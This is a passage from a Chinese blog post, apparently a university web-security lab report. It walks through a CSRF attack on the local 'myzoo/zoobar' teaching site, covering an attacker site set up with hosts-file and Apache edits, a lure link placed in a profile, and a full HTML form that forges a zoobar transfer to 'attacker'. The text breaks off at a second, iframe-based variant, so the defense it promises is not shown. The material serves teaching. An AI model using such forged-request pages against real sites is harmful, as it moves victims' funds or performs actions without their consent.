安全|跨站请求伪造(CSRF)——攻击实现与防御的代码实现【ustc-web信息安全实践课程实验三】

本文通过实验详细介绍了如何实现CSRF攻击,包括建立攻击站点、设置诱惑和设计不同类型的攻击方式。同时,文章也探讨了CSRF防御策略,采用Anti-CSRF Token方法,阐述了生成Token、在表单中添加Token项以及验证Token的过程,以防止CSRF攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

实验要求:在zoobar网站上展示并防御CSRF攻击。请注意在防御时的粒度问题,防止所有人的token都一样;以及刷新太快,正常操作都失败。


一、实现CSRF攻击

前提:
我的myzoo网站的存储目录是:/home/web/myzoo
【大多数人的应该是/var/www/myzoo】
(一)攻击站点建立
1、在/home/web下建立html/csrf1.html,在csrf1.html完成攻击代码。
存放在/home/web/html下的攻击页面
2、进入/etc/apache2/sites-available,打开myzoo.conf,在<VirtualHost *:80>中修改DocumentRoot为 /home/web/html

<VirtualHost *:80>
……
        ServerAdmin webmaster@localhost
#       DocumentRoot /var/www/html
#       DocumentRoot /home/web/myzoo
        DocumentRoot /home/web/html
……
</VirtualHost>

此时访问127.0.0.1就跳转到html文件夹的界面。
3、进入/etc,打开hosts,在最后添加 127.0.0.1 www.csrfljn.com

127.0.0.1       localhost
127.0.1.1       ljn-vm

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1     www.myzoo.com
127.0.0.1     www.csrfljn.com

此时访问www.csrfljn.com可以跳转到csrf1.html界面
至此,攻击站点建立成功。
(二)诱惑设置
(1)在myzoo网站上注册一个名为 attacker 的用户,在Your profile中输入如下信息并提交,就构造了一个诱惑其他用户进行点击的链接。

<a href=http://www.csrfljn.com/csrf1.html target=”_blank”>Click to Win a surprise!</a>

备注:
添加target=”_blank”是为了在新页面打开网页,但是发现并没有能够在新页面打开,猜想是target方法被屏蔽了。
打开/home/web/myzoo下的transfer.php,在php代码中的$disallowed里面发现target确实被屏蔽了,将target从其中删除即可。
在这里插入图片描述
(2)其他用户在查看用户 attacker 的信息时,就会看到一个名为“Click to Win a surprise”的链接。
在这里插入图片描述(3)用户点击这个链接,就会显示csrf1.html的内容。
至此,诱惑设置完成。
(三)攻击网站设计
1、最简单最直白的攻击——对应csrf1.html
(1)查看myzoo网站的transfer页面的源代码,复制其中的表单信息,并存储在csrf1.html中.
csrf1.html内容:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Win a Big Surprise!</title>
</head>
<body>
<p>Hello LJN 2019.12.22</p>
<form method="POST" name="transferform" target="" action="https://www.myzoo.com/transfer.php">
        <p>Send <input name="zoobars" type="text" value="1" size="5"> zoobars</p>
        <p>to <input name="recipient" type="text" value="attacker"></p>
        <input type="submit" name="submission" value="Send">
</form>
</body>
</html>

(2)效果展示
a. 用户点击 attacker 中的链接,打开一个新的页面,如下所示:
在这里插入图片描述
b.用户单击“Send”按钮,界面跳转回myzoo网站的transfer界面,并且显示成功转出去一个币,用户的zoobar数目减少1个。
这种攻击方式未免太过于直白,用户也不是傻瓜,就会去点Send按钮,因此在以下的2 3 4中一次进行改进。

2、在本页面中直接显示——对应csrf2.html
通过<iframe></iframe>标签实现。
(1)csrf2.html内容如下:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Win a Big Surprise!</title>
</head>
<body>
<p>Hello LJN 2019.12.22</p>
<iframe name="targe
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值